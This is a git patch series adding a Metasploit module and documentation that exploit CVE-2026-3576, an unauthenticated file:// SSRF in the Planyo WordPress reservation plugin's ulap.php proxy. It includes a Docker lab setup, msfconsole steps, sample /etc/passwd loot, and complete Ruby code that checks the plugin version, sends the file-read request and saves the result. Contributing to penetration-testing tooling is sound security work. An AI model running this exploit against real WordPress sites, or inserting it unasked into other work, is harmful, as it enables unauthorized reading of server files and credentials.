From 9e9df47f7123dd81ebac2ea250e7aec37409389a Mon Sep 17 00:00:00 2001 From: test Date: Mon, 10 Aug 2026 07:38:06 -0400 Subject: [PATCH 1/5] Initial Documentation draft --- .../gather/wp_planyo_lfi_cve_2026_3576.md | 97 +++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100644 documentation/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.md diff --git a/documentation/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.md b/documentation/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.md new file mode 100644 index 0000000000000..c6b321ef55a6e --- /dev/null +++ b/documentation/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.md @@ -0,0 +1,97 @@ +# Vulnerable Application + +Planyo Online Reservation System plugin of Wordpress before and including 3.0, fails to validate the scheme of the URL supplied via the ulap\_url parameter of its AJAX proxy ulap.php. This leads to a Server Side Request Forgery (SSRF) vulnerability which allows unauthenticated attackers to retrieve local files containing sensitive information and enumerate internal services. + +This module uses this vulnerability to retrieve the contents of arbitrary local files by supplying a file:// URL to ulap.php. + +Pre-requisites +- Docker and Docker compose installed. + +## Setup + +1. Create a home directory +``` +mkdir wordpress-docker +cd wordpress-docker +``` +2. Create a docker-compose.yml file +``` +services: + db: + image: mysql:8.0 + container_name: wordpress-db + restart: unless-stopped + environment: + MYSQL_ROOT_PASSWORD: rootpassword + MYSQL_DATABASE: wordpress + MYSQL_USER: bala + MYSQL_PASSWORD: password + volumes: + - db_data:/var/lib/mysql + + wordpress: + image: wordpress:latest + container_name: wordpress + restart: unless-stopped + depends_on: + - db + ports: + - "8080:80" + environment: + WORDPRESS_DB_HOST: db:3306 + WORDPRESS_DB_USER: bala + WORDPRESS_DB_PASSWORD: password + WORDPRESS_DB_NAME: wordpress + volumes: + - wordpress_data:/var/www/html + +volumes: + db_data: + wordpress_data: +``` +3. Start the container +``` +sudo docker-compose up -d +``` +4. Download the vulnerable plugin and copy to relevant folder +``` +svn checkout https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/ +sudo docker cp planyo-online-reservation-system wordpress:/var/www/html/wp-content/plugins/ +``` +5. Complete Wordpress Installation +- Navigate to http://localhost:8080 and complete Wordpress installation by creating an admin user. +6. Activate the plugin +- Log into admin dashboard at http://? +- On the left hand menu, select Plugins-\> Installed Plugins +- Locate the planyo plugin and click on Activate + +## Verification Steps +1. Launch Metasploit +``` +msfconsole +``` +2. Load the Planyo LFI scanner +``` +use auxiliary/gather/wp_planyo_lfi_cve_2026_3576 +set RHOSTS 127.0.0.1 +set RPORT 80 +set TARGETURI / +``` +3. Run the module +``` +run +``` +4. Observe output +The module should: +- Check if the target has installed the plugin +- If the plugin is installed, check if the installed version is vulnerable +- Retrieve the file and save it locally + +## Options + +- TARGETURI(`/`): Base path to Wordpress +- FILEPATH(`/etc/passwd`): Path of local file to download + +## Scenarios + + From af317a1fc70a9513dd6ea0550a1591c3c84615dd Mon Sep 17 00:00:00 2001 From: test Date: Mon, 10 Aug 2026 08:19:55 -0400 Subject: [PATCH 2/5] Added Scenarios and modified setup instructions --- .../gather/wp_planyo_lfi_cve_2026_3576.md | 46 +++++++++++++++---- 1 file changed, 38 insertions(+), 8 deletions(-) diff --git a/documentation/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.md b/documentation/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.md index c6b321ef55a6e..f473ab17f7505 100644 --- a/documentation/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.md +++ b/documentation/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.md @@ -1,4 +1,4 @@ -# Vulnerable Application +## Vulnerable Application Planyo Online Reservation System plugin of Wordpress before and including 3.0, fails to validate the scheme of the URL supplied via the ulap\_url parameter of its AJAX proxy ulap.php. This leads to a Server Side Request Forgery (SSRF) vulnerability which allows unauthenticated attackers to retrieve local files containing sensitive information and enumerate internal services. @@ -13,6 +13,7 @@ Pre-requisites ``` mkdir wordpress-docker cd wordpress-docker +vim docker-compose.yml ``` 2. Create a docker-compose.yml file ``` @@ -56,14 +57,16 @@ sudo docker-compose up -d 4. Download the vulnerable plugin and copy to relevant folder ``` svn checkout https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/ +mv 2.9 planyo-online-reservation-system sudo docker cp planyo-online-reservation-system wordpress:/var/www/html/wp-content/plugins/ ``` 5. Complete Wordpress Installation -- Navigate to http://localhost:8080 and complete Wordpress installation by creating an admin user. +- Navigate to http://localhost:8080 and select English when asked for the language. +- Enter a site title, username, password and email address. 6. Activate the plugin -- Log into admin dashboard at http://? +- Log into admin dashboard at http://localhost:8080/wp-login.php by entering the username and password configured in the previous step. - On the left hand menu, select Plugins-\> Installed Plugins -- Locate the planyo plugin and click on Activate +- Locate the planyo plugin and click on Activate. ## Verification Steps 1. Launch Metasploit @@ -74,7 +77,7 @@ msfconsole ``` use auxiliary/gather/wp_planyo_lfi_cve_2026_3576 set RHOSTS 127.0.0.1 -set RPORT 80 +set RPORT 8080 set TARGETURI / ``` 3. Run the module @@ -82,9 +85,10 @@ set TARGETURI / run ``` 4. Observe output + The module should: -- Check if the target has installed the plugin -- If the plugin is installed, check if the installed version is vulnerable +- Check if the target is alive and has installed Wordpress +- Check the plugin version and identify if it is vulnerable - Retrieve the file and save it locally ## Options @@ -93,5 +97,31 @@ The module should: - FILEPATH(`/etc/passwd`): Path of local file to download ## Scenarios +``` +msf auxiliary(gather/wp_planyo_lfi_cve_2026_3576) > run +[*] Running module against 127.0.0.1 +[+] Vulnerable version of plugin detected +[*] File saved to: /home/kali/.msf4/loot/20260810080420_default_127.0.0.1_planyo.http_669878.bin +[*] Auxiliary module execution completed +msf auxiliary(gather/wp_planyo_lfi_cve_2026_3576) > cat /home/kali/.msf4/loot/20260810080420_default_127.0.0.1_planyo.http_669878.bin +[*] exec: cat /home/kali/.msf4/loot/20260810080420_default_127.0.0.1_planyo.http_669878.bin - +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +``` From 0c0f429a8fa6d9c7b36c413830f3f6aaa24db577 Mon Sep 17 00:00:00 2001 From: test Date: Mon, 10 Aug 2026 09:04:37 -0400 Subject: [PATCH 3/5] Corrected msftidy warnings and passed tests --- .../gather/wp_planyo_lfi_cve_2026_3576.md | 35 ++++++++++--------- 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/documentation/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.md b/documentation/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.md index f473ab17f7505..b6fbdf80648cd 100644 --- a/documentation/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.md +++ b/documentation/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.md @@ -1,21 +1,22 @@ ## Vulnerable Application -Planyo Online Reservation System plugin of Wordpress before and including 3.0, fails to validate the scheme of the URL supplied via the ulap\_url parameter of its AJAX proxy ulap.php. This leads to a Server Side Request Forgery (SSRF) vulnerability which allows unauthenticated attackers to retrieve local files containing sensitive information and enumerate internal services. +Planyo Online Reservation System plugin of Wordpress prior to 3.1, fails to validate the scheme of the URL supplied to its AJAX proxy. +This leads to a Server Side Request Forgery (SSRF) vulnerability allowing unauthenticated attackers to retrieve local sensitive files. -This module uses this vulnerability to retrieve the contents of arbitrary local files by supplying a file:// URL to ulap.php. +This module uses this vulnerability to retrieve the contents of arbitrary local files by supplying a file:// URL to AJAX proxy ulap.php. -Pre-requisites -- Docker and Docker compose installed. +### Pre-requisites +- **Docker** and **Docker compose** installed. ## Setup -1. Create a home directory +1. **Create a home directory** ``` mkdir wordpress-docker cd wordpress-docker vim docker-compose.yml ``` -2. Create a docker-compose.yml file +2. **Create a docker-compose.yml file** ``` services: db: @@ -50,41 +51,41 @@ volumes: db_data: wordpress_data: ``` -3. Start the container +3. **Start the container** ``` sudo docker-compose up -d ``` -4. Download the vulnerable plugin and copy to relevant folder +4. **Download the vulnerable plugin and copy to relevant folder** ``` svn checkout https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/ mv 2.9 planyo-online-reservation-system sudo docker cp planyo-online-reservation-system wordpress:/var/www/html/wp-content/plugins/ -``` -5. Complete Wordpress Installation +``` +5. **Complete Wordpress Installation** - Navigate to http://localhost:8080 and select English when asked for the language. - Enter a site title, username, password and email address. -6. Activate the plugin +6. **Activate the plugin** - Log into admin dashboard at http://localhost:8080/wp-login.php by entering the username and password configured in the previous step. - On the left hand menu, select Plugins-\> Installed Plugins - Locate the planyo plugin and click on Activate. ## Verification Steps -1. Launch Metasploit +1. **Launch Metasploit** ``` msfconsole ``` -2. Load the Planyo LFI scanner +2. **Load the Planyo LFI scanner** ``` use auxiliary/gather/wp_planyo_lfi_cve_2026_3576 set RHOSTS 127.0.0.1 set RPORT 8080 set TARGETURI / ``` -3. Run the module +3. **Run the module** ``` run ``` -4. Observe output +4. **Observe output** The module should: - Check if the target is alive and has installed Wordpress @@ -93,8 +94,8 @@ The module should: ## Options -- TARGETURI(`/`): Base path to Wordpress -- FILEPATH(`/etc/passwd`): Path of local file to download +- **TARGETURI**(`/`): Base path to Wordpress +- **FILEPATH**(`/etc/passwd`): Path of local file to download ## Scenarios ``` From 9eed0bbb2eb3ecb2572d195113d8a24223313090 Mon Sep 17 00:00:00 2001 From: test Date: Mon, 10 Aug 2026 09:07:01 -0400 Subject: [PATCH 4/5] Corrected msftidy, robocop warnings and passed tests --- .../gather/wp_planyo_lfi_cve_2026_3576.rb | 131 ++++++++++++++++++ 1 file changed, 131 insertions(+) create mode 100644 modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.rb diff --git a/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.rb b/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.rb new file mode 100644 index 0000000000000..597f851fe2673 --- /dev/null +++ b/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Wordpress + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Wordpress Planyo Online Reservation System Arbitrary File Read (CVE-2026-3576)', + 'Description' => %q{ + This module exploits a Server Side Request Forgery (SSRF) vulnerability in Wordpress's Planyo Online Reservation System v3.0 or less. + The plugin's AJAX proxy ulap.php does not require authentication and does not validate URL scheme supplied via ulap_url parameter. + This allows unauthenticated attackers to supply file:// URLs to ulap.php and retrieve local files from the system. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'sinn3r', # Used sinn3r's yaws_traversal exploit module as a skeleton + 'Balachandar Gowrisankar' + ], + 'References' => [ + ['CVE', '2026-3576'], + ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2026-3576'], + ['GHSA', 'jjq9-3x6f-75pj'] + ], + 'DisclosureDate' => '2026-07-10', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/passwd']), + OptString.new('TARGETURI', [true, 'Base path to the Wordpress installation', '/']) + ] + ) + end + + # Plugin versions prior to 3.1 do not have a stable tag or version in readme.txt. So implemented a module to extract version from changelog portion of readme.txt + def check_plugin_version_from_changelog(fixed_version) + changelog_url = '/wp-content/plugins/planyo-online-reservation-system/readme.txt' + res = send_request_cgi( + 'uri' => "/#{datastore['TARGETURI']}/#{changelog_url}", + 'method' => 'GET' + ) + + if res.nil? || res.code != 200 + return Msf::Exploit::CheckCode::Unknown(res ? "Response code=#{res.code}" : 'No response') + end + + body = res.body.to_s + changelog = body[/==\s*Changelog\s*==(.*)/mi, 1] + + versions = changelog.scan(/^\s*=\s*v?([0-9A-Za-z._-]+)\s*=\s*$/) + + if Rex::Version.new(versions.last.first) <= Rex::Version.new(fixed_version) + return Msf::Exploit::CheckCode::Appears(details: { version: versions.last.first }) + else + return Msf::Exploit::CheckCode::Safe(details: { version: versions.last.first }) + end + end + + def run + # Check if server is reachable and Wordpress is installed + unless wordpress_and_online? + print_error('Server not online or not detected as wordpress') + return + end + + # Check if filename is specified + if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty? + print_error('Please supply the name of the file you want to download') + return + end + + # Check if plugin version is vulnerable + readme_code = check_plugin_version_from_readme('planyo-online-reservation-system', '3.0') + + if readme_code == Msf::Exploit::CheckCode::Unknown + print_error('Plugin\'s version could not be found. Try overriding vulnerability check') + return + elsif readme_code == Msf::Exploit::CheckCode::Safe + print_good("Plugin found: #{readme_code.details}") + print_error('This version of plugin is not vulnerable') + return + # Check version from changelog section if stable tag or version details are not present in readme.txt + elsif readme_code == Msf::Exploit::CheckCode::Detected + changelog_code = check_plugin_version_from_changelog('3.0') + if changelog_code == Msf::Exploit::CheckCode::Safe + print_good("Plugin found: #{changelog_code.details}") + print_error('This version of plugin is not vulnerable') + return + end + end + print_good('Vulnerable version of plugin detected') + + # Create request + route = 'wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost' + res = send_request_raw({ + 'method' => 'GET', + 'uri' => "/#{datastore['TARGETURI']}/#{route}/#{datastore['FILEPATH']}" + }, 25) + + # Show data if needed + if res && res.code == 200 + vprint_line(res.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'planyo.http', + 'application/octet-stream', + datastore['RHOST'], + res.body, + fname + ) + print_status("File saved to: #{path}") + else + print_error('Nothing was downloaded. Check the file path') + end + end +end From fa4d57bd425e806f823ea7d3527c9e4ef58b82ab Mon Sep 17 00:00:00 2001 From: test Date: Mon, 10 Aug 2026 09:13:36 -0400 Subject: [PATCH 5/5] Removed redundant CVE URL --- modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.rb b/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.rb index 597f851fe2673..7877fb646641a 100644 --- a/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.rb +++ b/modules/auxiliary/gather/wp_planyo_lfi_cve_2026_3576.rb @@ -25,7 +25,6 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2026-3576'], - ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2026-3576'], ['GHSA', 'jjq9-3x6f-75pj'] ], 'DisclosureDate' => '2026-07-10',